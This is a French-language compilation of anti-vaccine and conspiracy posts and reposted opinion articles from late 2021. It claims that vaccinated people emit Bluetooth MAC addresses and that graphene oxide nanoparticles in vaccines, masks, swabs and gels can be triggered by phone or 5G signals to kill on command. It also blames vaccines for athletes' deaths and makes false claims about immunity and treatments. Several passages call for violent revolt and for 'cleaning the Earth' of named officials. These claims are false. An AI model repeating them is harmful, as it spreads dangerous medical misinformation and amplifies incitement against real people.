Expérience reproduite avec un samsung et 2 applications différentes :
"Bluetooth Finder and scanner" "BLE Scanner" Des adresses MAC sous le format XX:XX:XX:XX:XX:XX apparaissent. Pour tester si l'adresse MAC est référencée auprès de l'IEEE, ce site fonctionne : https://www.courbis.fr/Recherche-du-constructeur-pour-une.html
Il suffit de copier les 6 premiers caractères de l'adresse MAC et lancer la recherche. La plupart n'identifie aucun constructeur de carte réseau. Attention, certaines adresses de périphériques type "montre connectée" n'identifie aucun constructeur de carte réseau également.
Qu'est-ce que Bluetooth et Bluetooth Basse Consommation : https://fr.wikipedia.org/wiki/Bluetooth
Qu'est-ce qu'une adresse MAC ? https://fr.wikipedia.org/wiki/Adresse_MAC
Qu'est-ce que l'IEEE ? https://fr.wikipedia.org/wiki/Institute_of_Electrical_and_Electronics_Engineers
Partagez librement le contenu de cette chaîne. Pour vous éveiller et éveiller autour de vous. Remerciements à tous les alerteurs, créateurs, compileurs et bonnes énergies.
Rassurez-vous, vous n'êtes pas seul, nous sommes des millions. Votre corps est une machine précieuse et formidable, soyez fort. Amour et bonnes ondes <3
Les n° apparaissent à l'écran alors qu'il y a plusieurs doses par flacon: Réponse: Le n° est associé à votre n° de tel portable sur vous = donc: identité unique.
Sachez que les nano-particules d'oxyde de graphène (poison mortel violent) peuvent se décapsuler par réception d'un signal envoyé à votre portable ou, demain sans tel. direct avec la 5G !
Les masques en sont TOUS imprégnés (passez-les à l'aspirateur recto-verso avant de les mettre et: surtout: poser votre aspirateur avec le cul DEHORS (fenêtre ou porte) parce que si vous faites çà chez vous ils s’envolent et les respirerez) !
Les écouvillons des FAUX tests PCR en contiennent et les déposent en cavité nasale !
Les gels hydralcoolique en contiennent et pénètrent dans l'épiderme !
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En 2006 nous étions déjà capable de produire ce type de micropuce : https://www.futura-sciences.com/sciences/actualites/recherche-puce-plus-petite-monde-8212/
En 2021, par IBM, 2 nanomètres pour une puce : https://www.businessinsider.fr/ibm-annonce-avoir-developpe-une-puce-de-2-nanometres-la-plus-petite-au-monde-187449
Comprenez le fonctionnement des nanoparticules de graphène avec une conférencière du CNRS en moins de 5 minutes : https://odysee.com/@cQfd:7/cnrs_graphene_mai_2016:7
Regardez ce Brevet déposé par ... Microsoft ! SYSTÈME DE CRYPTOMONNAIE UTILISANT DES DONNÉES D'ACTIVITÉ CORPORELLE" : https://patentscope.wipo.int/search/fr/detail.jsf?docId=WO2020060606
Numéro de publication : WO/2020/060606 Date du dépôt international : 20.06.2019 Date de publication : 26.03.2020 N° de la demande internationale : PCT/US2019/038084 Déposants : MICROSOFT TECHNOLOGY LICENSING, LLC
Connaissez-vous les "smartdust" ? https://fr.wikipedia.org/wiki/Poussi%C3%A8re_intelligente
Important : Se rappeler que tout courant électrique produit un champ magnétique induit, et inversement, que tout champ magnétique produit un courant électrique induit.
D'abord, Le "graphène" est un excellent conducteur. Le "graphène" est aussi un excellent ferrofluide, donc très sensible aux ondes électro-magnétiques. (=phénomène d'aimantation par exemple) Les individus sont porteurs d'une adresse MAC, c-a-d, une adresse unique d'identification comme tout périphérique connectable (box wifi, carte réseau d'ordinateur, téléphone portable...)
Il est donc tout à fait possible "d'adresser/pirater" une information, onde ou impulsion au champ électro-magnétique d'un individu, à distance en émettant sur la bande de fréquence que l'individu est prêt à recevoir. L'information, onde ou impulsion peut très bien être diffusée de manière élargie, mais à destination que d'un récepteur (= comme votre box wifi et celle du voisin que vous captez, mais à laquelle vous ne pouvez pas vous connecter ... en théorie).
Aussi, Pensez à la manière dont fonctionne un auto-radio (flux descendant = entrant). Pensez à la manière dont fonctionne un talkie-walkie, la Cibi, les téléphones portables, les box wifi (flux ascendant et descendant = entrant et sortant)
Enfin, Concernant les 100+ footballeurs de la FIFA décédés récemment, il est probable qu'ils aient fait des crises cardiaques ou AVC liés aux tromboses et caillots sanguins présents dans le sang suite à l'injection. Le graphène (oxyde/hydroxyde) provoque, dans certains cas, à certains doses, un agglutinement des globules rouges sous forme de "rouleaux de pièces de monnaie" (=rangés comme des Pim's chocolat-orange), l'activité physique accélère la circulation sanguine et amplifie le problème présent.
En outre, Il n'est pas à exclure la possibilité de grands méchants appuyant sur un bouton, ciblant et "désactivant" certaines personnes. C'est techniquement possible.
90,9% des Français de plus de 12 ans ont un schéma de vaccination complet au 20 décembre 2021.
Décidément, la méfiance du gouvernement à l’égard des entreprises continue de régner. Dernier exemple : la confirmation hier par le ministre de la santé que la question du pass sanitaire en entreprise est désormais sur la table.
"C’est une contrainte de plus que nous assumons ! » : a dit Olivier Véran.
Et les entreprises, sont-elles prêtes à assumer ces contraintes supplémentaires ? Cela aurait quand même été le minimum de les interroger et de les associer avant cette nouvelle annonce.
ETHIC rappelle que personne plus que le chef d’entreprise ne souhaite la protection des salariés face au virus.
De même, les entreprises, quelle que soit leur taille, ont toujours scrupuleusement respecté la législation mise en place depuis le début de l’épidémie.
Malheureusement, interdictions et obligations se succèdent dans un climat de méfiance, sans concertation avec les acteurs du terrain. De plus, l’incohérence des décisions, qui aboutit à des contradictions successives, est incompréhensible.
Les entreprises ont été notamment confrontées à l'interdiction d'acheter des masques pour leurs, de prendre leur température, d'organiser des tests antigéniques dans leurs locaux. Malgré ces interdits successifs, ce sont elles aujourd'hui qui aident leurs salariés à obtenir la 3ème dose de vaccin. Les chefs d'entreprise font tous les jours preuve de leur sens des responsabilités. Le Ministère du Travail réussirait bien à s'en inspirer et pourrait même suivre des étapes de formation en management… de la part des entrepreneurs !
Le mouvement patronal n’est pas opposé, sous certaines conditions, à l’instauration en France de cette mesure, déjà mise en place en Italie ou en Allemagne. Pour ETHIC, la priorité est la sécurité sanitaire des salariés même si la mise en oeuvre opérationnelle du pass sanitaire en entreprise compliquerait leur activité.
Par Jean-Yves Jézéquel Mondialisation.ca, 19 décembre 2021
Tout esprit critique est devenu criminel ! Valérie Pécresse ne reconnaît pas, à ses concitoyens, le droit de penser et de disposer librement de leur corps ! Elle a déclaré que devenue présidente, « elle réactualiserait le confinement, mais uniquement pour les non-vaccinés » ! Cette violence arbitraire ne lui pose aucun problème !
Les États « profonds » ont toujours été les pires criminels de l’histoire, les authentiques terroristes, la seule réelle menace pour l’humanité et ne peuvent pas être différenciés de la perversion : l’Etat profond est pervers par nature, criminel par essence, le Mal en substance. Il n’a qu’une seule obsession : conserver à tout prix le pouvoir et être le seul dominant exerçant sa tyrannie sur les dominés. Il n’a jamais aucune légitimité et passe son temps à détruire l’Etat Nation, car sa raison d’être est la négation de toute liberté, égalité, fraternité, autrement dit de toute idée démocratique en répétant sans cesse son « idéal démocratique » grâce à une confusion habilement entretenue entre les « libertés publiques », d’ailleurs largement défuntes, et l’idée de « démocratie »…
Les « pouvoirs » incarnant les « Etats profonds » ont toujours été les organisateurs des guerres, des massacres, de l’esclavage, des apartheids, des « purges ». Les « pouvoirs des Etats profonds » ont toujours organisé la « légalité » du crime contre l’humanité, accolant la même étiquette aux mensonges, à la manipulation, à la tromperie, en les faisant passer pour la vertu, la vérité, la légitimité, la moralité !
Ce qui est déclaré « légal » peut parfaitement être immoral. Le délire covidiste actuel des « Etats profonds » et de leurs serviteurs dévoués, est l’expression d’une volonté criminelle sidérante, car elle imagine son harcèlement de l’être humain bien au-delà de ce qui est tolérable. Les limites ont très largement été dépassées.
Les Etats profonds n’osent pas ouvertement dire qu’ils prétendent imposer leur volonté en violant l’irréductibilité des corps eux-mêmes, en voulant leur imposer des injections expérimentales sans rien savoir de leur contenu, car une telle déclaration faite ouvertement signifierait se mettre à découvert sur leurs intentions qui se trouvent à des années lumières de la cause sanitaire ! C’est pourquoi, tout être conscient et responsable doit combattre par tous les moyens ces Etats pervers, il a le devoir moral de la désobéissance et de la résistance…
Aujourd’hui, des politiques comme Macron, Véran, Castex, travaillent d’arrache-pied contre les intérêts véritables du peuple Français ; ils font partie d’une caste sectaire au service d’un pouvoir supra national, mondialiste, le complexe digital-financier. Auprès de ces gens-là, s’ajoutent dans le désordre les Sarkozy (qui trouve le moyen de la ramener alors qu’il aurait été décent de se faire discret après tant de casseroles attachées à sa pitoyable existence), les Karine Lacombe, Valérie Pécresse, Ursula Von der Leyen, Michel Cimes, Bruno Mégarbane, Pr François Raffi, Pr Jacques Rey, Gérald Bronner, Guy Vallancien, et la cohorte des serviteurs dévoués à la cause supérieure du transhumanisme et du « Great Reset », les Albert Bourla, le PDG de Pfizer Inc., qui déclarait que « les personnes qui propagent de fausses informations sur les vaccins anti-covid 19 sont criminelles… parce qu’elles ont causé des millions de morts !!! »
Pourquoi tous ces gens bien « intentionnés », bienfaiteurs de l’humanité, détenteurs de la vérité, soucieux de notre bonheur et de notre existence paisible sur cette Terre, veulent-ils nous forcer la main, nous contraindre, nous enfermer, nous étrangler en nous privant de tout, en nous accusant de telles abominations dont ils sont justement responsables, au lieu de nous convaincre d’adopter une vérité vertueuse qui démontre toute seule le bien-fondé de sa nature bienfaitrice ?!
Il va de soi que pour tous ces gens-là, « je suis responsable de millions de morts », puisque je refuse de me faire « vacciner » !
Pourquoi imposer des restrictions, des contrôles, des sanctions, des censures, des confinements, des couvre-feux, des masques dont chacun devrait déjà savoir qu’ils sont inutiles, voire nuisibles dans le contexte où il est obligatoire de les porter, des interdits de toutes sortes, des humiliations, des contradictions, des incohérences, des violences faites au bon sens, une falsification évidente de tous les chiffres officiels et une complaisance dans la politique de la peur ?
Il y a toujours, encore à l’heure actuelle, malgré certaines évidences devenues difficiles à nier, des médecins charlatans qui pullulent sur les plateaux de télévision pour radoter leurs inepties « covidistes » et la nécessité de la « vaccination » anti-covid 19, persuadés qu’ils sont de répandre la bonne parole, de dire la vérité, de n’être qu’au service du bonheur de l’humanité.
Nous devrions avoir consulté déjà les nombreuses études scientifiques sur les traitements parfaitement efficaces qui existent contre la covid-19, (ceux qui veulent trouver les sources sont abondamment renseignés par l’ensemble des publications qui ont été faites sur www.mondialisation.ca au cours des deux années passées), mais ces médecins charlatans et inquisiteurs, donneurs de leçons de morale, qui prennent la parole dans les médias, préfèrent citer les « études indiscutables », qui condamnent et démolissent arbitrairement la réputation des traitements efficaces contre la covid-19, comme l’ivermectine. En effet, tout le monde devrait théoriquement savoir que le Docteur Andrew Hill a bien reçu une subvention de 40 millions de Dollars de la Fondation Gates pour publier une étude bidon contre l’ivermectine !
Nous savons comment le traitement à partir de l’hydroxychloroquine/azithromycine a été misérablement éliminé par une étude, elle aussi bidon, publiée sur le Lancet, étude qui s’est gravée comme la vérité dans la cervelle des imbéciles qui continuent de radoter leur condamnation sur les médias collabos, en étant persuadés qu’ils sont les détenteurs de la vérité révélée, les défenseurs de l’intérêt du bien commun, les protecteurs de l’humanité… On les connait tous et tous sont en conflits d’intérêts ou idiots qui n’ont comme seul argument bélier, que leur accusation intempestive de « complotisme » à l’encontre de ceux face auxquels ils n’ont aucun argument valable à opposer !
Il est temps de comprendre que l’accusation de « complotisme », contre ceux qui font preuve d’esprit critique, est régulièrement ânonné par ceux qui n’ont aucun argument à présenter. On accuse de « complotisme » quand on n’a aucun argument solide à opposer !
Dès que vous entendez quelqu’un accuser une personne de « complotiste », vous savez déjà que cette personne ne sait rien, qu’elle n’est pas informée ou qu’elle est en « conflit d’intérêts » ou carrément naïve et le jouet des pervers qui la manipulent en sous-main…
Quelqu’un qui est réellement informé, et non pas dans une croyance pour imbécile heureux, n’accuse jamais son interlocuteur de « complotiste », il argumente solidement et prouve scientifiquement que ses arguments tiennent la route…
Or, lorsque le Pr Péronne a invité ceux qui prennent la parole habituellement, à le rencontrer sur les médias courants, pour discuter scientifiquement du sujet de la « pandémie », personne du monde médical n’a jamais répondu à son invitation, tout simplement parce que ces médecins charlatans y compris de prestigieux professeurs de médecine savaient qu’ils défendaient résolument un mensonge !
Les ordures de l’humanité sont au pouvoir, elles se sont emparées du pouvoir et imposent leur perversion aux peuples qui sont martyrisés à perpétuité par le mensonge…
Quand allons-nous donc nettoyer la Terre de cette racaille de pervers qui se sont emparés du pouvoir ? Jusqu’où allons-nous supporter l’insupportable et pousser le bouchon de la patience ? Combien de martyrs allons-nous comptabiliser avant de nous mettre en ordre de bataille pour mettre fin à ce délire ?
Pourquoi la révolte est-elle si difficile aujourd’hui ?
Parce que les pouvoirs savent qu’il faut étouffer à l’avance toute révolte potentielle en passant par une « non-violence » apparente. C’est une forme de dressage qui passe par le conditionnement collectif répété à travers toutes les approches politiques, sociales, culturelles d’une société peu à peu aseptisée et convaincue de supériorité civilisationnelle, éliminant d’office toute idée de violence ou de révolte qui ne viendra même plus à l’esprit de ceux qui auront ainsi été dressés, non pas à leur soumission, mais mieux que cela, à l’amour de leur soumission…
Les individus dressés à aimer leur soumission, ne peuvent plus avoir quelque velléité que ce soit à la révolte.
L’accès à un véritable savoir est devenu très difficile et réservé à une « élite ». Les télévisions vont collaborer massivement à ce travail de sape en diffusant des émissions débiles ou de divertissements, de leurres, d’amusements, un véritable détournement de l’attention sur des médiocrités qui ne demandent aucune réflexion de la part des téléspectateurs… et qui agissent hypnotiquement sur les personnes en les entraînant au consentement ou à la servitude volontaire…
Grâce à cela, l’esprit ne peut plus penser, il ne peut que recevoir les injonctions massives à sa soumission au système qui pensera pour lui ce que doit être sa vie, son intérêt, le sens de son existence réduite à une nouvelle forme d’esclavage radicalisé.
Tout discours subversif est éliminé de la culture. Le dérisoire est élevé au rang de l’essentiel. Le mensonge omniprésent devient la norme de la vérité. Tout est inversé dans les valeurs qui sont remplacées par des biens comme la santé du nouveau pan-médicalisme actuel.
La peur subtilement entretenue dans le mental individuel et collectif sera celle d’être parmi les exclus du système, d’être paria, d’être marginalisé, déclassé, rejeté dans le terrain vague de la désocialisation et ainsi ne plus pouvoir accéder au bonheur lié dans la conception normative à l’avoir et non plus à l’être.
L’homme conditionné par ce système est un mouton qui sera traité comme tel et surveillé comme tel poussé dans son instinct grégaire. Cet individu du troupeau ne peut plus penser par lui-même, il ne peut plus faire preuve de conscience éveillée, il ne peut plus être lucide, il ne peut plus voir la manipulation dont il est l’objet, il est hypnotisé, anesthésié, conditionné, entraîné malgré lui dans une forme de croyance, celle qui consiste à « croire » que le Pouvoir ne peut ni se tromper ni le tromper ! Tout ce qui pourrait le réveiller est systématiquement traîné dans la boue de la raillerie, de la moquerie, de l’étouffement propagandiste et des raccourcis d’accusations caricaturales comme celle de « complotiste »…
Tout discours subversif est déclaré « terroriste » et ceux qui en font la promotion sont eux-mêmes traités de « terroristes ».
Ainsi, tout esprit critique devient en soi « criminel » et sa condamnation va de soi.
Les tyrans qui nous gouvernent procèdent donc par étapes, en utilisant le mensonge, l’hypocrisie, la tromperie, la manipulation, le bâton et la carotte !
Ils annonçaient la « vaccination » pour les seuls volontaires ; puis ils « incitaient » à la « vaccination » par un pass sanitaire dit « provisoire » ; puis ils allaient familiariser les gens à son utilisation habituelle et banalisée ; puis le pass sanitaire ne serait valable que si la troisième dose était faite ; depuis hier, Castex annonçait le passage du « pass sanitaire » en « pass vaccinal », transformant la « vaccination anti covid » en obligation si le citoyen ne veut pas être déclassé.
Pourtant, le règlement européen du 14 juin 2021 sur le « pass sanitaire » interdisait que cette mesure puisse aboutir à une discrimination entre les « vaccinés » et les « non-vaccinés ». Il n’y a plus de Droit, plus de règles, plus de lois, rien que la volonté farouche des excités de la piquouze !
Selon le Gouvernement britannique, une fois que vous avez reçu le double vaccin, « vous ne pouvez plus jamais acquérir une immunité naturelle complète contre les variantes du Covid – ou tout autre virus ». C’est ce que le docteur Vanden Bossche nous avait déjà expliqué il y a bien longtemps ! (Cf., article sur www.mondialisation.ca du 19 juin 2021)
Dans son « rapport de surveillance du vaccin COVID-19 » de la semaine 42, l’Agence de Sécurité Sanitaire du Royaume-Uni reconnaît à la page 23 que « les niveaux d’anticorps N semblent être plus faibles chez les personnes qui contractent l’infection après deux doses de vaccination. » Elle explique ensuite que cette baisse d’anticorps est pratiquement permanente.
Nous savons désormais que les vaccins « n’empêchent pas l’infection ou la transmission du virus » (les adultes « vaccinés » sont maintenant infectés à des taux beaucoup plus élevés que les « non-vaccinés »). Les Britanniques ont découvert que le vaccin « interfère avec la capacité immunitaire innée, après une infection, à produire des anticorps contre la protéine de pointe, mais aussi contre d’autres parties du virus. »
Les personnes « vaccinées » ne produisent plus d’anticorps contre la protéine de la nucléocapside, l’enveloppe du virus, qui est un élément pourtant déterminant de la réponse chez les personnes « non vaccinées ».
Conclusion : les personnes « vaccinées » seront considérablement plus vulnérables à toute mutation de la protéine de pointe pouvant se présenter, même si ces personnes ont déjà été infectées et si elles ont été guéries une ou plusieurs fois !
En revanche, les personnes « non vaccinées », présenteront une immunité naturelle durable, permanente, contre toutes les souches du théorique méchant virus, après avoir été infectées naturellement, même une seule fois.
(Confère page 24 du Rapport de l’Agence de Sécurité Sanitaire du Royaume-Uni : Vaccine-surveillance-report-week-42)
Encore une fois, cet acharnement des Etats profonds à vouloir « vacciner » à tout prix tout le monde, ne peut pas avoir une motivation sanitaire ! Lorsqu’il est informé, ne serait-ce que de ce qui a été dit dans cet article, le citoyen lambda doit se poser la question : « mais quelle est donc la motivation réelle de ces covidistes fanatiques radicalisés dans leur obsession vaccinale ? »
N’acceptez pas d’entrer dans la croyance. Ne vous comportez pas comme des moutons. Soyez responsables : désobéissez aux mesures criminelles de ce dressage !
Grâce à seulement la 4G et la proximité de wifi les personnes qui se sont faites inoculer profond peuvent tomber au sol. Mais... grâce à 'bientôt la 5G' même les piqués sans téléphone crèveront ! Youpie ! Reste bien-sûr les sales gosses plus intelligents que les merdias ou politiques qui refusent de se faire inoculer !! Mais que fait la police ?! ou plutôt "Mais que fait la révolution ?" !
Omicron : Nous vous avions prévenu que la farce de Covid ne finirait jamais
3 décembre 2021 Par Brandon Smith
Vous vous souvenez quand Anthony Fauci et d'autres « professionnels » de la santé payés par le gouvernement ont déclaré que les Américains devaient se masquer et rester à la maison pendant deux semaines pour « aplatir la courbe » de la pandémie de covid ? Vous vous souvenez quand ils sont revenus deux semaines plus tard et ont dit qu'ils avaient besoin de quelques semaines supplémentaires ? Rappelez-vous comment ils ont un peu reculé des blocages et sont ensuite revenus avec des demandes de plus? Vous vous souvenez en 2019, lorsque les gens ne se recroquevillaient pas chez eux et derrière des masques face à un virus avec un IFR (taux de mortalité par infection) moyen de seulement 0,27 % ? Vous vous en souvenez ?
Au tout début de la réponse à la pandémie, moi et beaucoup d'autres dans les médias alternatifs avons averti que les mandats et les blocages n'allaient jamais prendre fin ; ils sont destinés à durer éternellement. J'ai prédit cela sur la base des déclarations faites par les mêmes mondialistes et institutions qui scénarisent la politique de réponse au Covid pour les gouvernements nationaux. Dans mon article « Waves Of Mutilation : Medical Tyranny And The Cashless Society » publié en avril 2020, j'ai décrit les commentaires du mondialiste Gideon Lichfield du MIT basés sur des livres blancs publiés par l'Imperial College de Londres. Dans l'article intitulé « Nous ne retournons pas à la normale », il décrit l'avenir du monde sous la tyrannie médicale de la covid :
« Pour arrêter le coronavirus, nous devrons changer radicalement presque tout ce que nous faisons : notre façon de travailler, de faire de l'exercice, de socialiser, de faire nos courses, de gérer notre santé, d'éduquer nos enfants, de prendre soin des membres de notre famille.
Nous voulons tous que les choses reviennent à la normale rapidement. Mais ce que la plupart d'entre nous n'ont probablement pas encore réalisé - et le fera bientôt -, c'est que les choses ne reviendront pas à la normale après quelques semaines, voire quelques mois. Certaines choses ne le seront jamais.
"Tant que quelqu'un dans le monde a le virus, les éruptions peuvent et continueront de se reproduire sans contrôles stricts pour les contenir. Dans un rapport publié hier, des chercheurs de l'Imperial College de Londres ont proposé une façon de procéder : imposer des mesures de distanciation sociale plus extrêmes chaque fois que les admissions dans les unités de soins intensifs (USI) commencent à augmenter et les détendre à chaque fois que les admissions chutent… »
Lichfield soutient :
«En fin de compte, cependant, je prédis que nous rétablirons la capacité de socialiser en toute sécurité en développant des moyens plus sophistiqués d'identifier qui est un risque de maladie et qui ne l'est pas, et en discriminant – légalement – contre ceux qui le sont.
… on peut imaginer un monde dans lequel, pour prendre un vol, il faudra peut-être être abonné à un service qui suit vos déplacements via votre téléphone. La compagnie aérienne ne serait pas en mesure de voir où vous êtes allé, mais elle recevrait une alerte si vous aviez été à proximité de personnes infectées connues ou de points chauds de la maladie. Il y aurait des exigences similaires à l'entrée des grandes salles, des bâtiments gouvernementaux ou des plaques tournantes des transports en commun. Il y aurait des scanners de température partout et votre lieu de travail pourrait exiger que vous portiez un moniteur qui suit votre température ou d'autres signes vitaux. Là où les boîtes de nuit demandent une preuve d'âge, à l'avenir, elles pourraient demander une preuve d'immunité - une carte d'identité ou une sorte de vérification numérique via votre téléphone, montrant que vous avez déjà récupéré ou vacciné contre les dernières souches de virus.
Deux ans plus tard (au lieu de deux semaines), la farce covid continue. Par farce, je veux dire que le virus n'est pas une menace pour la santé de la grande majorité du public, mais les gouvernements et les médias continuent de craindre le monteur sur son existence tout en essayant de forcer les gens à accepter des vaccins expérimentaux sans test à long terme pour prouver qu'ils sont en sécurité. Dans presque tous les pays où les gens ont été pour la plupart désarmés ou dans tout pays avec un risque minime d'émeute, les totalitaires covid se précipitent pour s'emparer de chaque once de pouvoir possible avant que la population ne réalise ce qui se passe.
Je pourrais continuer encore et encore à décrire la montagne de faits scientifiques et de preuves qui démystifient complètement la panique suscitée par le covid, mais je l'ai déjà fait dans plusieurs articles. Je pourrais parler du fait que 99,7% ou plus des personnes ne sont pas en danger de mort par covid et seul un infime pourcentage des personnes hospitalisées par covid ont des effets secondaires à plus long terme sur la santé. Je pourrais mentionner le fait que les pays avec des taux de vaccination élevés comme Israël ou l'Irlande ont également les taux d'infection les plus élevés et de nombreux décès de personnes complètement vaccinées. Je pourrais également mentionner que l'immunité naturelle a été prouvée dans des études dans les pays majoritairement vaxxés comme étant supérieure à tous égards à la vaccination. Les autoritaires ne veulent pas l'entendre.
En Nouvelle-Zélande et en Australie, autrefois supposés bastions de la démocratie et de la liberté occidentales, les citoyens sont désormais confinés aux caprices des bureaucrates au premier signe d'un test PCR positif. Je dis depuis des mois que si vous voulez voir l'avenir que l'establishment veut pour les Américains, jetez un œil à des pays comme l'Australie où ils construisent en fait des camps de prisonniers covid gérés par l'armée. Des personnes ont même été arrêtées alors qu'elles tentaient de s'échapper de ces complexes. Non, ce n'est pas une théorie du complot, c'est un fait.
Dans ces camps, vous êtes sous le contrôle total du gouvernement. Tout comme n'importe quelle prison, ils vous nourrissent quand ils veulent vous nourrir, ils restreignent vos déplacements, ils vous isolent de vos amis et de votre famille, etc. Votre temps dans les camps peut même être « prolongé » par les administrateurs sans surveillance s'ils vous déterminent. se sont « mal conduits ». C'est vrai, il ne s'agit pas de savoir à quel point vous êtes contagieux, ce n'est pas une question de science, il s'agit de savoir à quel point vous êtes soumis.
Et vraiment, c'est tout ce que la réponse à la pandémie de covid a jamais été.
Regardez une nation comme l'Autriche, qui a 65% de vaccination et des taux d'infection en constante augmentation. Ils ont décidé que les personnes non vaccinées étaient à blâmer, alors ils ont ordonné à toute personne sans preuve de vaccination de se soumettre au confinement. Après cela, leurs infections et leurs décès ont augmenté encore plus. Ainsi, au lieu d'admettre la conclusion évidente et logique (que les vaccins ne fonctionnent pas, ou à tout le moins, que les verrouillages ne fonctionnent pas), ils ont ordonné un verrouillage pour TOUT LE MONDE. Pourquoi? Cacher le fait que les non vaxxés ne sont pas le problème.
Pour être clair, le pic initial qui a provoqué les blocages en Autriche s'est élevé à environ 300 décès, dont la grande majorité parmi les personnes âgées. En Autriche, les patients des maisons de soins infirmiers représentent environ 36 % de tous les décès dus à la covid. Pour être clair, ils éliminent les libertés de 9 millions de personnes et étranglent leur économie avec un pic de 300 décès. Chaque jour, des personnes meurent en grand nombre d'une multitude de maladies transmissibles. C'est un fait de la vie, ce n'est pas quelque chose à utiliser comme une arme politique et sociale.
Pour aller plus loin, l'Autriche menace également désormais un projet de loi sur la vaccination obligatoire qui autorise des amendes et des peines de prison pour les non vaccinés. Le statut de vaccination sera déterminé par le gouvernement et des injections de rappel pourraient être nécessaires à tout moment. Ce n'est pas parce que vous êtes complètement vacciné maintenant que vous serez considéré comme complètement vacciné demain. Cela ne finira jamais.
Les données montrent que la vaccination fait peu ou rien pour ralentir les taux réels d'infection ou de décès ; il y a eu plus de décès dus au covid en 2021 qu'en 2020 malgré la prolifération des vaccins cette année. C'est-à-dire que les vaccinations ont été introduites cette année et pourtant il y a eu plus de décès par covid que l'année dernière. N'est-ce pas étrange?
Les médias grand public affirment qu'il s'agit désormais d'une « pandémie de non-vaccinés ». Je suppose qu'ils devraient dire cela aux milliers de personnes complètement vaccinées infectées et aux centaines de personnes décédées dans des États comme le Massachusetts où ils suivent en fait les cas révolutionnaires. Bien sûr, les médias chantent toujours les louanges des vaccins malgré ces petits couacs.
Si les vaccins fonctionnaient réellement, alors il n'y aurait pas besoin de vaccinations obligatoires. Les personnes vaxxées seraient protégées et les personnes non vaxxées assumeraient les risques individuels. Le culte du covid ne semble pas saisir la logique ici - Soit les vaccins sont efficaces et il n'est pas nécessaire de les rendre obligatoires, soit ils ne sont pas efficaces, ce qui signifie que les rendre obligatoires est inutile.
Mais encore une fois, la logique et la science ne sont pas le point - le contrôle est le point. C'est une justification perpétuelle pour un contrôle infini. Cela ne finira jamais.
La réalité est que l'agenda covid n'a pas été si efficace si nous regardons la situation dans son ensemble. Si l'objectif est une vaccination à 100 % et des contrôles continus des passeports vax en utilisant des rappels réguliers comme mécanisme de domination à long terme (tyrannie médicale), alors jusqu'à présent, le plan a échoué. Certains pays sont tombés dans le long hiver covid, mais beaucoup d'autres ne l'ont pas fait. Presque tous les États conservateurs des États-Unis défient totalement les mandats et les tribunaux fédéraux ont bloqué les tentatives de Joe Biden de contourner la constitution. Si les États rouges d'Amérique tiennent bon, cela donne de l'espoir aux autres. Alors, que reste-t-il à faire aux marchands de pouvoir de l'establishment ?
C'est facile... ils font juste la même chose.
Entrez dans la variante Omicron de covid, quelque chose contre laquelle les «théoriciens du complot» ont mis en garde ces deux dernières années. C'est la beauté du récit pandémique lorsqu'il s'agit de construire un régime autoritaire mondial ; les virus changent constamment et de nouveaux virus peuvent même être créés si nécessaire. Par conséquent, il y a toujours une nouvelle menace d'effrayer le public et toujours une nouvelle raison de l'enfermer chez lui ou de lui demander de renoncer à davantage de ses libertés. C'est un cycle vampirique sans fin qui draine lentement la liberté d'une population.
Mettez de côté le fait que les médecins qui ont découvert Omicron en Afrique du Sud l'ont qualifié de légère variation de covid et de menace non significative pour le public. Cela est parfaitement logique. Dans la grande majorité des scénarios de pandémie, les virus ont tendance à évoluer vers des versions légèrement plus infectieuses mais beaucoup moins mortelles de l'original. Mais cela n'empêche pas les médias et les scientifiques du gouvernement de crier un meurtre sanglant à propos d'Omicron et même de suggérer que cette fois, la covid "pourrait" évoluer pour devenir plus meurtrière que moins.
Cela doit être fait. Ils n'ont plus rien et s'ils perdent le covid, ils perdent l'une des meilleures opportunités qu'ils aient jamais eu pour le contrôle centralisé de presque tous les individus sur Terre.
La peur du covid s'estompe. Des centaines de millions de personnes ne sont pas disposées à renoncer à leurs libertés face à une pandémie hype et ridicule avec un IFR de 0,27%. De nombreuses personnes vaccinées combattent les mandats aux côtés des personnes non vaccinées. La plupart d'entre nous ne sont pas obèses. La plupart d'entre nous n'avons pas 80 ans et sommes en maison de retraite. La plupart d'entre nous n'ont pas de conditions préexistantes. Ce sont tous des facteurs qui constituent la majorité des décès par covid. Beaucoup d'entre nous avaient déjà la covid et y ont facilement survécu, ce qui signifie que nous avons une immunité naturelle qui est 13 à 27 fois plus efficace pour arrêter les futures infections que les vaccins. Sans plus de battage et plus de variantes, la fête des mondialistes s'arrête, et ils n'aiment pas du tout cette idée.
Si le public est autorisé à sortir un instant la tête de la brume de la propagande et à reprendre ses esprits, il pourrait se rendre compte qu'il a été la cible d'une campagne de terreur massive. Ils pourraient se mettre en colère. Ils pourraient exiger des enquêtes. Ils pourraient même exiger que certaines têtes mondialistes tombent. Alors, préparez-vous pour qu'Omicron reste dans les gros titres pour les mois à venir, puis la prochaine mutation et la prochaine mutation et la mutation après cela. Les mondialistes et les opportunistes politiques continueront avec le théâtre jusqu'à ce qu'ils obtiennent ce qu'ils veulent, ou jusqu'à ce qu'ils soient complètement retirés de l'équation. Cela ne finira jamais, à moins qu'ils ne finissent.
Suffit de voir à la campagne, personne ne porte de masque et personne n'est vacciné !
Parce que le 'coronacircus19' n'est PAS dans l'air (comme pourrait l'être un microbe s'il existait) mais UNIQUEMENT sous la forme de virus (c'est-à-dire poussières) apporté UNIQUEMENT en seringues.
Mais comme une poussière (même nanométrique) peut-elle être offensive ??! Il ne s'agit pas de poussières naturelles et inoffensives émises par le magma mais de nano-poussières intelligentes fabriquées en laboratoires nazis. Ce sont des nano-particules (1/1000ème de millimètre) d'oxyde de graphène (poison mortel violent) qui peuvent se décortiquer à réception d'un signal émis par téléphone. La personne meurt instantanément (aujourd'hui sans téléphone grâce à la 5G).
Par Ron Paul, MD Institut Ron-Paul 21 décembre 2021
Tout comme les mandats de vaccination inconstitutionnels du président Biden étaient déchirés par les tribunaux, des politiciens autoritaires, des bureaucrates de la santé publique et les médias grand public ont annoncé une nouvelle variante de Covid pour justifier une autre série de blocages et de restrictions. Les choses qui n'ont pas fonctionné la dernière fois seraient une bonne idée de recommencer cette fois, affirment-ils.
Pour ces autoritaires, le moment de l'émergence d'omicron était parfait.
La variante a été découverte pour la première fois en Afrique du Sud, les médias américains et européens diffusant des histoires effrayantes sans fin. Les politiciens autoritaires ont utilisé la peur fabriquée pour justifier une autre attaque contre la liberté. L'Europe s'est fermée et est devenue un camp de prisonniers virtuel. En Autriche, en Allemagne et ailleurs, les citoyens sont devenus des non-personnes sans passeport vaccinal.
